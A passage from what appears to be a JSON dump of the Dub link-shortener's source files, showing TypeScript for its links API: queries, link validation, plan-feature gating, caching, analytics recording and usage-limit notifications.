  ...(linkIds && { id: { in: linkIds } }),\n      projectId: workspaceId,\n      ...(tenantId && { tenantId }),\n      AND: [\n        ...(folderIds\n          ? [\n              {\n                OR: [\n                  {\n                    folderId: {\n                      in: folderIds,\n                    },\n                  },\n                  {\n                    folderId: null,\n                  },\n                ],\n              },\n            ]\n          : [\n              {\n                folderId: folderId || null,\n              },\n            ]),\n        ...(search\n          ? [\n              {\n                ...(searchMode === \"fuzzy\" && {\n                  OR: [\n                    {\n                      shortLink: { contains: search },\n                    },\n                    {\n                      url: { contains: search },\n                    },\n                  ],\n                }),\n                ...(searchMode === \"exact\" && {\n                  [search.startsWith(\"https://\") ? \"shortLink\" : \"key\"]: {\n                    startsWith: search,\n                  },\n                }),\n              },\n            ]\n          : []),\n      ],\n      archived: showArchived ? undefined : false,\n      ...(domain && { domain }),\n      ...(withTags && {\n        tags: {\n          some: {},\n        },\n      }),\n      ...(combinedTagIds && combinedTagIds.length > 0\n        ? {\n            tags: { some: { tagId: { in: combinedTagIds } } },\n          }\n        : tagNames\n          ? {\n              tags: {\n                some: {\n                  tag: {\n                    name: {\n                      in: tagNames,\n                    },\n                  },\n                },\n              },\n            }\n          : {}),\n      ...(partnerId && { partnerId }),\n      ...(userId && { userId }),\n      ...(startDate &&\n        endDate && {\n          createdAt: {\n            gte: startDate,\n            lte: endDate,\n          },\n        }),\n    },\n    include: {\n      tags: {\n        include: {\n          tag: {\n            select: {\n              id: true,\n              name: true,\n              color: true,\n            },\n          },\n        },\n      },\n      user: includeUser,\n      webhooks: includeWebhooks,\n      dashboard: includeDashboard,\n    },\n    ...paginationQuery,\n  });\n\n  return links.map((link) => transformLink(link));\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/include-program-enrollment.ts",
    "content": "import { Prisma } from \"@dub/prisma/client\";\n\nexport const includeProgramEnrollment = {\n  programEnrollment: {\n    select: {\n      groupId: true,\n    },\n  },\n} satisfies Prisma.LinkInclude;\n"
  },
  {
    "path": "apps/web/lib/api/links/include-tags.ts",
    "content": "import { Prisma } from \"@dub/prisma/client\";\n\nexport const includeTags = {\n  tags: {\n    select: {\n      tag: {\n        select: {\n          id: true,\n          name: true,\n          color: true,\n        },\n      },\n    },\n    orderBy: {\n      createdAt: \"asc\",\n    },\n  },\n} satisfies Prisma.LinkInclude;\n"
  },
  {
    "path": "apps/web/lib/api/links/index.ts",
    "content": "export * from \"./archive-link\";\nexport * from \"./bulk-create-links\";\nexport * from \"./create-link\";\nexport * from \"./delete-link\";\nexport * from \"./get-links-count\";\nexport * from \"./get-links-for-workspace\";\nexport * from \"./process-link\";\nexport * from \"./update-link\";\nexport * from \"./utils\";\n"
  },
  {
    "path": "apps/web/lib/api/links/plan-features-check.ts",
    "content": "import { NewLinkProps } from \"@/lib/types\";\nimport { combineWords } from \"@dub/utils\";\n\nexport const proFeaturesCheck = (payload: NewLinkProps) => {\n  const {\n    proxy,\n    password,\n    rewrite,\n    expiresAt,\n    ios,\n    android,\n    geo,\n    testVariants,\n    trackConversion,\n    doIndex,\n  } = payload;\n\n  if (\n    proxy ||\n    password ||\n    rewrite ||\n    expiresAt ||\n    ios ||\n    android ||\n    geo ||\n    testVariants ||\n    trackConversion ||\n    doIndex\n  ) {\n    const proFeaturesString = combineWords(\n      [\n        proxy && \"custom link previews\",\n        password && \"password protection\",\n        rewrite && \"link cloaking\",\n        expiresAt && \"link expiration\",\n        ios && \"iOS targeting\",\n        android && \"Android targeting\",\n        geo && \"geo targeting\",\n        doIndex && \"search engine indexing\",\n      ].filter(Boolean) as string[],\n    );\n\n    throw new Error(\n      `You can only use ${proFeaturesString} on a Pro plan and above. Upgrade to Pro to use these features.`,\n    );\n  }\n};\n\nexport const businessFeaturesCheck = (payload: NewLinkProps) => {\n  const { testVariants, trackConversion } = payload;\n\n  if (testVariants || trackConversion) {\n    const businessFeaturesString = combineWords(\n      [\n        testVariants && \"A/B testing\",\n        trackConversion && \"conversion tracking\",\n      ].filter(Boolean) as string[],\n    );\n\n    throw new Error(\n      `You can only use ${businessFeaturesString} on a Business plan and above. Upgrade to Business to use these features.`,\n    );\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/api/links/process-link.ts",
    "content": "import { isBlacklistedDomain } from \"@/lib/edge-config\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { checkIfUserExists, getRandomKey } from \"@/lib/planetscale\";\nimport { isNotHostedImage } from \"@/lib/storage\";\nimport { NewLinkProps, ProcessedLinkProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { Project, WorkspaceRole } from \"@dub/prisma/client\";\nimport {\n  DUB_DOMAINS,\n  UTMTags,\n  constructURLFromUTMParams,\n  getApexDomain,\n  getDomainWithoutWWW,\n  getUrlFromString,\n  isDubDomain,\n  isValidUrl,\n  parseDateTime,\n  pluralize,\n} from \"@dub/utils\";\nimport { combineTagIds } from \"../tags/combine-tag-ids\";\nimport { businessFeaturesCheck, proFeaturesCheck } from \"./plan-features-check\";\nimport { keyChecks, processKey } from \"./utils\";\n\nexport async function processLink<T extends Record<string, any>>({\n  payload,\n  workspace,\n  userId,\n  bulk = false,\n  skipKeyChecks = false, // only skip when key doesn't change (e.g. when editing a link)\n  skipExternalIdChecks = false, // only skip when externalId doesn't change (e.g. when editing a link)\n  skipFolderChecks = false, // only skip for update / upsert links\n  skipProgramChecks = false, // only skip for when program is already validated\n}: {\n  payload: NewLinkProps & T;\n  workspace?: Pick<Project, \"id\" | \"plan\"> & {\n    users: { role: WorkspaceRole }[];\n  };\n  userId?: string;\n  bulk?: boolean;\n  skipKeyChecks?: boolean;\n  skipExternalIdChecks?: boolean;\n  skipFolderChecks?: boolean;\n  skipProgramChecks?: boolean;\n}): Promise<\n  | {\n      link: NewLinkProps & T;\n      error: string;\n      code?: string;\n      status?: number;\n    }\n  | {\n      link: ProcessedLinkProps & T;\n      error: null;\n      code?: never;\n      status?: never;\n    }\n> {\n  let {\n    domain,\n    key,\n    keyLength,\n    url,\n    image,\n    proxy,\n    trackConversion,\n    expiredUrl,\n    tagNames,\n    folderId,\n    externalId,\n    tenantId,\n    partnerId,\n    programId,\n    webhookIds,\n    testVariants,\n  } = payload;\n\n  let expiresAt: string | Date | null | undefined = payload.expiresAt;\n  let testCompletedAt: string | Date | null | undefined =\n    payload.testCompletedAt;\n\n  let defaultProgramFolderId: string | null = null;\n  const tagIds = combineTagIds(payload);\n\n  // if URL is defined, perform URL checks\n  if (url) {\n    url = getUrlFromString(url);\n    if (!isValidUrl(url)) {\n      return {\n        link: payload,\n        error: \"Invalid destination URL\",\n        code: \"unprocessable_entity\",\n      };\n    }\n\n    // Process UTM params only if the key exists, allowing null/empty to clear them.\n    if (UTMTags.some((tag) => tag in payload)) {\n      const utmParams = UTMTags.reduce((acc, tag) => {\n        if (tag in payload) {\n          acc[tag] = payload[tag];\n        }\n        return acc;\n      }, {});\n      url = constructURLFromUTMParams(url, utmParams);\n    }\n    // only root domain links can have empty desintation URL\n  } else if (key !== \"_root\") {\n    return {\n      link: payload,\n      error: \"Missing destination URL\",\n      code: \"bad_request\",\n    };\n  }\n\n  // free plan restrictions\n  if (!workspace || workspace.plan === \"free\") {\n    if (key === \"_root\" && url) {\n      return {\n        link: payload,\n        error:\n          \"You can only set a redirect for a root domain link on a Pro plan and above. Upgrade to Pro to use this feature.\",\n        code: \"forbidden\",\n      };\n    }\n    try {\n      businessFeaturesCheck(payload);\n      proFeaturesCheck(payload);\n    } catch (error) {\n      return {\n        link: payload,\n        error: error.message,\n        code: \"forbidden\",\n      };\n    }\n  } else if (workspace.plan === \"pro\") {\n    try {\n      businessFeaturesCheck(payload);\n    } catch (error) {\n      return {\n        link: payload,\n        error: error.message,\n        code: \"forbidden\",\n      };\n    }\n  }\n\n  if (!trackConversion && testVariants) {\n    return {\n      link: payload,\n      error: \"Conversion tracking must be enabled to use A/B testing.\",\n      code: \"unprocessable_entity\",\n    };\n  }\n\n  const domains = workspace\n    ? await prisma.domain.findMany({\n        where: { projectId: workspace.id },\n      })\n    : [];\n\n  // if domain is not defined, set it to the workspace's primary domain\n  if (!domain) {\n    domain = domains?.find((d) => d.primary)?.slug || \"dub.sh\";\n  }\n\n  // checks for dub.sh and dub.link links\n  if (domain === \"dub.sh\" || domain === \"dub.link\") {\n    // for dub.link: check if workspace plan is pro+\n    if (domain === \"dub.link\" && (!workspace || workspace.plan === \"free\")) {\n      return {\n        link: payload,\n        error:\n          \"You can only use dub.link on a Pro plan and above. Upgrade to Pro to use this domain.\",\n        code: \"forbidden\",\n      };\n    }\n\n    // for dub.sh: check if user exists (if userId is passed)\n    if (domain === \"dub.sh\" && userId) {\n      const userExists = await checkIfUserExists(userId);\n      if (!userExists) {\n        return {\n          link: payload,\n          error: \"Session expired. Please log in again.\",\n          code: \"not_found\",\n        };\n      }\n    }\n\n    const isMaliciousLink = await maliciousLinkCheck(url);\n    if (isMaliciousLink) {\n      return {\n        link: payload,\n        error: \"Malicious URL detected\",\n        code: \"unprocessable_entity\",\n      };\n    }\n    // checks for other Dub-owned domains (chatg.pt, spti.fi, etc.)\n  } else if (isDubDomain(domain)) {\n    // coerce type with ! cause we already checked if it exists\n    const { allowedHostnames } = DUB_DOMAINS.find((d) => d.slug === domain)!;\n    const urlDomain = getDomainWithoutWWW(url) || \"\";\n    const apexDomain = getApexDomain(url);\n    if (\n      key !== \"_root\" &&\n      allowedHostnames &&\n      !allowedHostnames.includes(urlDomain) &&\n      !allowedHostnames.includes(apexDomain)\n    ) {\n      return {\n        link: payload,\n        error: `Invalid destination URL. You can only create ${domain} short links for URLs with the ${pluralize(\"domain\", allowedHostnames.length)} ${allowedHostnames\n          .map((d) => `\"${d}\"`)\n          .join(\", \")}.`,\n        code: \"unprocessable_entity\",\n      };\n    }\n\n    if (!skipKeyChecks && key?.includes(\"/\")) {\n      // check if the workspace has access to the parent link\n      const parentKey = key.split(\"/\")[0];\n      const parentLink = await prisma.link.findUnique({\n        where: { domain_key: { domain, key: parentKey } },\n      });\n      if (parentLink?.projectId !== workspace?.id) {\n        return {\n          link: payload,\n          error: `You do not have access to create links in the ${domain}/${parentKey}/ subdirectory.`,\n          code: \"forbidden\",\n        };\n      }\n    }\n\n    // else, check if the domain belongs to the workspace\n  } else if (!domains?.find((d) => d.slug === domain)) {\n    return {\n      link: payload,\n      error: \"Domain does not belong to workspace.\",\n      code: \"forbidden\",\n    };\n\n    // else, check if the domain is a free .link and whether the workspace is pro+\n  } else if (domain.endsWith(\".link\") && workspace?.plan === \"free\") {\n    // Dub provisioned .link domains can only be used on a Pro plan and above\n    const domainId = domains?.find((d) => d.slug === domain)?.id;\n    const registeredDomain = await prisma.registeredDomain.findUnique({\n      where: {\n        domainId,\n      },\n    });\n    if (registeredDomain) {\n      return {\n        link: payload,\n        error:\n          \"You can only use your free .link domain on a Pro plan and above. Upgrade to Pro to use this domain.\",\n        code: \"forbidden\",\n      };\n    }\n  }\n\n  if (!key) {\n    key = await getRandomKey({\n      domain,\n      prefix: payload[\"prefix\"],\n      length: keyLength,\n    });\n  } else if (!skipKeyChecks) {\n    const processedKey = processKey({ domain, key });\n    if (processedKey === null) {\n      return {\n        link: payload,\n        error: \"Invalid key.\",\n        code: \"unprocessable_entity\",\n      };\n    }\n    key = processedKey;\n\n    const response = await keyChecks({ domain, key, workspace });\n    if (response.error && response.code) {\n      return {\n        link: payload,\n        error: response.error,\n        code: response.code,\n      };\n    }\n  }\n\n  if (externalId && workspace && !skipExternalIdChecks) {\n    const link = await prisma.link.findUnique({\n      where: {\n        projectId_externalId: {\n          projectId: workspace.id,\n          externalId,\n        },\n      },\n    });\n\n    if (link) {\n      return {\n        link: payload,\n        error: \"A link with this externalId already exists in this workspace.\",\n        code: \"conflict\",\n      };\n    }\n  }\n\n  if (bulk) {\n    if (proxy && image && isNotHostedImage(image)) {\n      return {\n        link: payload,\n        error:\n          \"You cannot upload custom link preview images with bulk link creation.\",\n        code: \"unprocessable_entity\",\n      };\n    }\n  } else {\n    // only perform tag validity checks if:\n    // - not bulk creation (we do that check separately in the route itself)\n    // - tagIds are present\n    if (tagIds && tagIds.length > 0) {\n      if (!workspace) {\n        return {\n          link: payload,\n          error:\n            \"Workspace not found. You can't add tags to a link without a workspace.\",\n          code: \"not_found\",\n        };\n      }\n      const tags = await prisma.tag.findMany({\n        select: {\n          id: true,\n        },\n        where: { projectId: workspace.id, id: { in: tagIds } },\n      });\n\n      if (tags.length !== tagIds.length) {\n        return {\n          link: payload,\n          error:\n            \"Invalid tagIds detected: \" +\n            tagIds\n              .filter(\n                (tagId) => tags.find(({ id }) => tagId === id) === undefined,\n              )\n              .join(\", \"),\n          code: \"unprocessable_entity\",\n        };\n      }\n    } else if (tagNames && tagNames.length > 0) {\n      if (!workspace) {\n        return {\n          link: payload,\n          error:\n            \"Workspace not found. You can't add tags to a link without a workspace.\",\n          code: \"not_found\",\n        };\n      }\n\n      const tags = await prisma.tag.findMany({\n        select: {\n          name: true,\n        },\n        where: {\n          projectId: workspace.id,\n          name: { in: tagNames },\n        },\n      });\n\n      if (tags.length !== tagNames.length) {\n        return {\n          link: payload,\n          error:\n            \"Invalid tagNames detected: \" +\n            tagNames\n              .filter(\n                (tagName) =>\n                  tags.find(({ name }) => tagName === name) === undefined,\n              )\n              .join(\", \"),\n          code: \"unprocessable_entity\",\n        };\n      }\n    }\n\n    // only perform folder validity checks if:\n    // - not bulk creation (we do that check separately in the route itself)\n    // - folderId is present and we're not skipping folder checks\n    if (folderId && !skipFolderChecks) {\n      if (!workspace || !userId) {\n        return {\n          link: payload,\n          error:\n            \"Workspace or user ID not found. You can't add a folder to a link without a workspace or user ID.\",\n          code: \"not_found\",\n        };\n      }\n\n      if (workspace.plan === \"free\") {\n        return {\n          link: payload,\n          error: \"You can't add a folder to a link on a free plan.\",\n          code: \"forbidden\",\n        };\n      }\n\n      try {\n        await verifyFolderAccess({\n          workspace,\n          userId,\n          folderId,\n          requiredPermission: \"folders.links.write\",\n        });\n      } catch (error) {\n        return {\n          link: payload,\n          error: error.message,\n          code: error.code,\n        };\n      }\n    }\n\n    // Program validity checks\n    if (programId && !skipProgramChecks) {\n      const program = await prisma.program.findUnique({\n        where: { id: programId },\n        select: {\n          workspaceId: true,\n          defaultFolderId: true,\n          ...(!partnerId && tenantId\n            ? {\n                partners: {\n                  where: {\n                    tenantId,\n                  },\n                },\n              }\n            : {}),\n        },\n      });\n\n      if (!program || program.workspaceId !== workspace?.id) {\n        return {\n          link: payload,\n          error: \"Program not found.\",\n          code: \"not_found\",\n        };\n      }\n\n      if (!partnerId) {\n        partnerId =\n          program?.partners?.length > 0 ? program.partners[0].partnerId : null;\n      }\n\n      defaultProgramFolderId = program.defaultFolderId;\n    }\n\n    // Webhook validity checks\n    if (webhookIds && webhookIds.length > 0) {\n      if (!workspace || workspace.plan === \"free\" || workspace.plan === \"pro\") {\n        return {\n          link: payload,\n          error:\n            \"You can only use webhooks on a Business plan and above. Upgrade to Business to use this feature.\",\n          code: \"forbidden\",\n        };\n      }\n\n      webhookIds = [...new Set(webhookIds)];\n\n      const webhooks = await prisma.webhook.findMany({\n        select: {\n          id: true,\n        },\n        where: { projectId: workspace?.id, id: { in: webhookIds } },\n      });\n\n      if (webhooks.length !== webhookIds.length) {\n        const invalidWebhookIds = webhookIds.filter(\n          (webhookId) =>\n            webhooks.find(({ id }) => webhookId === id) === undefined,\n        );\n\n        return {\n          link: payload,\n          error: \"Invalid webhookIds detected: \" + invalidWebhookIds.join(\", \"),\n          code: \"unprocessable_entity\",\n        };\n      }\n    }\n  }\n\n  // custom social media image checks (see if R2 is configured)\n  if (proxy && !process.env.STORAGE_SECRET_ACCESS_KEY) {\n    return {\n      link: payload,\n      error: \"Missing storage access key.\",\n      code: \"bad_request\",\n    };\n  }\n\n  // expire date checks\n  if (expiresAt) {\n    const datetime = parseDateTime(expiresAt);\n\n    if (!datetime) {\n      return {\n        link: payload,\n        error: \"Invalid expiration date.\",\n        code: \"unprocessable_entity\",\n      };\n    }\n\n    expiresAt = datetime;\n\n    if (expiredUrl) {\n      expiredUrl = getUrlFromString(expiredUrl);\n\n      if (!isValidUrl(expiredUrl)) {\n        return {\n          link: payload,\n          error: \"Invalid expired URL.\",\n          code: \"unprocessable_entity\",\n        };\n      }\n    }\n  }\n\n  if (testCompletedAt) {\n    const datetime = parseDateTime(testCompletedAt);\n\n    if (!datetime) {\n      return {\n        link: payload,\n        error: \"Invalid test completion date.\",\n        code: \"unprocessable_entity\",\n      };\n    }\n\n    testCompletedAt = datetime;\n  }\n\n  // remove polyfill attributes from payload\n  delete payload[\"shortLink\"];\n  delete payload[\"qrCode\"];\n  delete payload[\"keyLength\"];\n  delete payload[\"prefix\"];\n  UTMTags.forEach((tag) => {\n    delete payload[tag];\n  });\n\n  return {\n    link: {\n      ...payload,\n      domain,\n      key,\n      // we're redefining these fields because they're processed in the function\n      url,\n      expiresAt,\n      expiredUrl,\n      testVariants,\n      testCompletedAt,\n      // partnerId derived from payload or program enrollment\n      partnerId: partnerId || null,\n      // make sure projectId is set to the current workspace\n      projectId: workspace?.id || null,\n      // if userId is passed, set it (we don't change the userId if it's already set, e.g. when editing a link)\n      ...(userId && {\n        userId,\n      }),\n      ...(webhookIds && {\n        webhookIds,\n      }),\n      folderId: folderId || defaultProgramFolderId,\n    },\n    error: null,\n  };\n}\n\nasync function maliciousLinkCheck(url: string) {\n  const domain = getDomainWithoutWWW(url);\n\n  if (!domain) {\n    return false;\n  }\n\n  const domainBlacklisted = await isBlacklistedDomain(domain);\n  if (domainBlacklisted === true) {\n    return true;\n  }\n\n  return false;\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/propagate-bulk-link-changes.ts",
    "content": "import { recordLink } from \"@/lib/tinybird\";\nimport { linkCache } from \"./cache\";\nimport { ExpandedLink } from \"./utils/transform-link\";\n\nexport async function propagateBulkLinkChanges({\n  links,\n  skipRedisCache = false,\n}: {\n  links: ExpandedLink[];\n  skipRedisCache?: boolean;\n}) {\n  return await Promise.all([\n    // update Redis cache\n    !skipRedisCache && linkCache.mset(links),\n    // update Tinybird\n    recordLink(links),\n  ]);\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/record-click-cache.ts",
    "content": "import { redisGlobal, redisGlobalWithTimeout } from \"@/lib/upstash\";\n\n// Cache the click ID in Redis for 1 hour\nconst CACHE_EXPIRATION = 60 * 60;\n\ninterface KeyProps {\n  domain: string;\n  key: string;\n  identityHash: string;\n}\n\nclass RecordClickCache {\n  async set({\n    domain,\n    key,\n    identityHash,\n    clickId,\n  }: KeyProps & { clickId: string }) {\n    return await redisGlobal.set(\n      this._createKey({ domain, key, identityHash }),\n      clickId,\n      {\n        ex: CACHE_EXPIRATION,\n      },\n    );\n  }\n\n  async get({ domain, key, identityHash }: KeyProps) {\n    return await redisGlobalWithTimeout.get<string>(\n      this._createKey({ domain, key, identityHash }),\n    );\n  }\n\n  _createKey({ domain, key, identityHash }: KeyProps) {\n    return `recordClick:${domain}:${key}:${identityHash}`;\n  }\n}\n\nexport const recordClickCache = new RecordClickCache();\n"
  },
  {
    "path": "apps/web/lib/api/links/update-link-stats-for-importer.ts",
    "content": "export const updateLinkStatsForImporter = ({\n  currentTimestamp,\n  newTimestamp,\n}: {\n  currentTimestamp: Date | null;\n  newTimestamp: Date;\n}) => {\n  // if there is no existing timestamp, return the new timestamp\n  if (!currentTimestamp) {\n    return newTimestamp;\n  }\n\n  // if the new timestamp is greater than the existing timestamp, return the new timestamp\n  if (newTimestamp > currentTimestamp) {\n    return newTimestamp;\n  }\n\n  // if the new timestamp is less than the existing timestamp, return undefined (no update needed)\n  return undefined;\n};\n"
  },
  {
    "path": "apps/web/lib/api/links/update-link.ts",
    "content": "import { getPartnerEnrollmentInfo } from \"@/lib/planetscale/get-partner-enrollment-info\";\nimport { isNotHostedImage, storage } from \"@/lib/storage\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { LinkProps, ProcessedLinkProps } from \"@/lib/types\";\nimport { propagateWebhookTriggerChanges } from \"@/lib/webhook/update-webhook\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport {\n  R2_URL,\n  getParamsFromURL,\n  linkConstructorSimple,\n  nanoid,\n  truncate,\n} from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { createId } from \"../create-id\";\nimport { combineTagIds } from \"../tags/combine-tag-ids\";\nimport { scheduleABTestCompletion } from \"./ab-test-scheduler\";\nimport { linkCache } from \"./cache\";\nimport { encodeKeyIfCaseSensitive } from \"./case-sensitivity\";\nimport { includeTags } from \"./include-tags\";\nimport { transformLink } from \"./utils\";\n\nexport async function updateLink({\n  oldLink,\n  updatedLink,\n}: {\n  oldLink: {\n    domain: string;\n    key: string;\n    image?: string | null;\n    testCompletedAt?: Date | null;\n  };\n  updatedLink: ProcessedLinkProps &\n    Pick<LinkProps, \"id\" | \"clicks\" | \"lastClicked\" | \"updatedAt\">;\n}) {\n  let {\n    id,\n    domain,\n    key,\n    url,\n    expiresAt,\n    title,\n    description,\n    image,\n    proxy,\n    geo,\n    publicStats,\n  } = updatedLink;\n  const changedKey = key.toLowerCase() !== oldLink.key.toLowerCase();\n  const changedDomain = domain !== oldLink.domain;\n\n  const { utm_source, utm_medium, utm_campaign, utm_term, utm_content } =\n    getParamsFromURL(url);\n\n  // exclude fields that should not be updated\n  const {\n    id: _,\n    clicks,\n    lastClicked,\n    updatedAt,\n    tagId,\n    tagIds,\n    tagNames,\n    webhookIds,\n    testVariants,\n    testStartedAt,\n    testCompletedAt,\n    ...rest\n  } = updatedLink;\n  const changedTestCompletedAt = testCompletedAt !== oldLink.testCompletedAt;\n\n  const combinedTagIds = combineTagIds({ tagId, tagIds });\n\n  const imageUrlNonce = nanoid(7);\n\n  key = encodeKeyIfCaseSensitive({\n    domain: updatedLink.domain,\n    key: updatedLink.key,\n  });\n\n  const response = await prisma.link.update({\n    where: {\n      id,\n    },\n    data: {\n      ...rest,\n      key,\n      shortLink: linkConstructorSimple({\n        domain: updatedLink.domain,\n        key,\n      }),\n      title: truncate(title, 120),\n      description: truncate(description, 240),\n      image:\n        proxy && image && isNotHostedImage(image)\n          ? `${R2_URL}/images/${id}_${imageUrlNonce}`\n          : image,\n      utm_source: utm_source || null,\n      utm_medium: utm_medium || null,\n      utm_campaign: utm_campaign || null,\n      utm_term: utm_term || null,\n      utm_content: utm_content || null,\n      expiresAt: expiresAt ? new Date(expiresAt) : null,\n      geo: geo || Prisma.DbNull,\n\n      testVariants: testVariants || Prisma.DbNull,\n      testCompletedAt: testCompletedAt ? new Date(testCompletedAt) : null,\n      testStartedAt: testStartedAt ? new Date(testStartedAt) : null,\n\n      // Associate tags by tagNames\n      ...(tagNames &&\n        updatedLink.projectId && {\n          tags: {\n            deleteMany: {},\n            create: tagNames.map((tagName, idx) => ({\n              tag: {\n                connect: {\n                  name_projectId: {\n                    name: tagName,\n                    projectId: updatedLink.projectId as string,\n                  },\n                },\n              },\n              createdAt: new Date(new Date().getTime() + idx * 100), // increment by 100ms for correct order\n            })),\n          },\n        }),\n\n      // Associate tags by IDs (takes priority over tagNames)\n      ...(combinedTagIds && {\n        tags: {\n          deleteMany: {},\n          create: combinedTagIds.map((tagId, idx) => ({\n            tagId,\n            createdAt: new Date(new Date().getTime() + idx * 100), // increment by 100ms for correct order\n          })),\n        },\n      }),\n\n      // Webhooks\n      ...(webhookIds && {\n        webhooks: {\n          deleteMany: {},\n          createMany: {\n            data: webhookIds.map((webhookId) => ({\n              webhookId,\n            })),\n          },\n        },\n      }),\n\n      // Shared dashboard\n      ...(publicStats && {\n        dashboard: {\n          create: {\n            id: createId({ prefix: \"dash_\" }),\n            projectId: updatedLink.projectId,\n            userId: updatedLink.userId,\n          },\n        },\n      }),\n    },\n    include: {\n      ...includeTags,\n      // no need to includeProgramEnrollment because we're doing getPartnerEnrollmentInfo below\n      webhooks: webhookIds ? true : false,\n    },\n  });\n\n  waitUntil(\n    (async () => {\n      const { partner, discount } = await getPartnerEnrollmentInfo({\n        programId: response.programId,\n        partnerId: response.partnerId,\n      });\n\n      await Promise.allSettled([\n        // Record link in Redis\n        linkCache.set({\n          ...response,\n          ...(partner && { partner }),\n          ...(discount && { discount }),\n        }),\n\n        // Record link in Tinybird\n        recordLink({\n          ...response,\n          ...(partner?.groupId && {\n            programEnrollment: { groupId: partner.groupId },\n          }),\n        }),\n\n        // If key is changed: delete the old key in Redis\n        (changedDomain || changedKey) && linkCache.delete(oldLink),\n\n        // If proxy is true and image is not stored in R2, upload image to R2\n        proxy &&\n          image &&\n          isNotHostedImage(image) &&\n          storage.upload({\n            key: `images/${id}_${imageUrlNonce}`,\n            body: image,\n            opts: {\n              width: 1200,\n              height: 630,\n            },\n          }),\n\n        // If there's a valid old image and it starts with the same link ID but is different from the new image, delete it\n        oldLink.image &&\n          oldLink.image.startsWith(`${R2_URL}/images/${id}`) &&\n          oldLink.image !== image &&\n          storage.delete({ key: oldLink.image.replace(`${R2_URL}/`, \"\") }),\n\n        // Propagate webhook trigger changes\n        webhookIds != undefined &&\n          propagateWebhookTriggerChanges({\n            webhookIds,\n          }),\n\n        // Schedule AB test completion\n        changedTestCompletedAt &&\n          testVariants &&\n          testCompletedAt &&\n          scheduleABTestCompletion(response),\n      ]);\n    })(),\n  );\n\n  return transformLink(response);\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/update-links-usage.ts",
    "content": "import { sendLimitEmail } from \"@/lib/cron/send-limit-email\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\n\nexport async function updateLinksUsage({\n  workspaceId,\n  increment,\n}: {\n  workspaceId: string;\n  increment: number;\n}) {\n  const workspace = await prisma.project.update({\n    where: {\n      id: workspaceId,\n    },\n    data: {\n      linksUsage: {\n        increment,\n      },\n      totalLinks: {\n        increment,\n      },\n    },\n    select: {\n      id: true,\n      name: true,\n      slug: true,\n      linksUsage: true,\n      linksLimit: true,\n      plan: true,\n    },\n  });\n\n  const percentage = Math.round(\n    (workspace.linksUsage / workspace.linksLimit) * 100,\n  );\n\n  // Skip if the workspace is below 80% of the limit\n  if (percentage < 80) {\n    return;\n  }\n\n  const sentEmails = await prisma.sentEmail.findMany({\n    where: {\n      projectId: workspaceId,\n    },\n    select: {\n      type: true,\n    },\n  });\n\n  const sentNotification = sentEmails.some(\n    (email) =>\n      email.type ===\n      (percentage >= 80 && percentage < 100\n        ? \"firstLinksLimitEmail\"\n        : \"secondLinksLimitEmail\"),\n  );\n\n  // Skip if the email has already been sent\n  if (sentNotification) {\n    console.log(`${workspace.slug} has already been notified, skipping...`);\n    return;\n  }\n\n  const users = await prisma.user.findMany({\n    where: {\n      projects: {\n        some: {\n          projectId: workspaceId,\n        },\n      },\n    },\n    select: {\n      email: true,\n    },\n  });\n\n  const emails = users.map(({ email }) => email) as string[];\n\n  return await Promise.allSettled([\n    sendLimitEmail({\n      emails,\n      workspace: workspace as WorkspaceProps,\n      type:\n        percentage >= 80 && percentage < 100\n          ? \"firstLinksLimitEmail\"\n          : \"secondLinksLimitEmail\",\n    }),\n\n    log({\n      message: `*${\n        workspace.slug\n      }* has used ${percentage.toString()}% of its links limit for the month.`,\n      type: workspace.plan === \"free\" ? \"cron\" : \"alerts\",\n      mention: workspace.plan !== \"free\",\n    }),\n  ]);\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/usage-checks.ts",
    "content": "import { exceededLimitError } from \"@/lib/exceeded-limit-error\";\nimport { WorkspaceWithUsers } from \"@/lib/types\";\nimport { DubApiError } from \"../errors\";\n\n// Workspace clicks usage overage checks\nexport const throwIfClicksUsageExceeded = (workspace: WorkspaceWithUsers) => {\n  if (workspace.usage > workspace.usageLimit) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: exceededLimitError({\n        plan: workspace.plan,\n        limit: workspace.usageLimit,\n        type: \"clicks\",\n      }),\n    });\n  }\n};\n\n// Workspace links usage overage checks\nexport const throwIfLinksUsageExceeded = (workspace: WorkspaceWithUsers) => {\n  if (\n    workspace.linksUsage >= workspace.linksLimit &&\n    workspace.plan !== \"enterprise\" //  don't throw an error for enterprise plans\n  ) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: exceededLimitError({\n        plan: workspace.plan,\n        limit: workspace.linksLimit,\n        type: \"links\",\n      }),\n    });\n  }\n};\n\nexport const throwIfAIUsageExceeded = (workspace: WorkspaceWithUsers) => {\n  if (workspace.aiUsage >= workspace.aiLimit) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: exceededLimitError({\n        plan: workspace.plan,\n        limit: workspace.aiLimit,\n        type: \"AI\",\n      }),\n    });\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/api/links/utils/check-if-links-have-folders.ts",
    "content": "export const checkIfLinksHaveFolders = (\n  links: { folderId?: string | null }[],\n) => links.some((link) => link.folderId);\n"
  },
  {
    "path": "apps/web/lib/api/links/utils/check-if-links-have-tags.ts",
    "content": "import { ProcessedLinkProps } from \"../../../types\";\n\nexport const checkIfLinksHaveTags = (links: ProcessedLinkProps[]) =>\n  links.some(\n    (link) => link.tagNames?.length || link.tagIds?.length || link.tagId,\n  );\n"
  },
  {
    "path": "apps/web/lib/api/links/utils/check-if-links-have-webhooks.ts",
    "content": "import { ProcessedLinkProps } from \"../../../types\";\n\nexport const checkIfLinksHaveWebhooks = (links: ProcessedLinkProps[]) =>\n  links.some((link) => link.webhookIds?.length);\n"
  },
  {
    "path": "apps/web/lib/api/links/utils/index.ts",
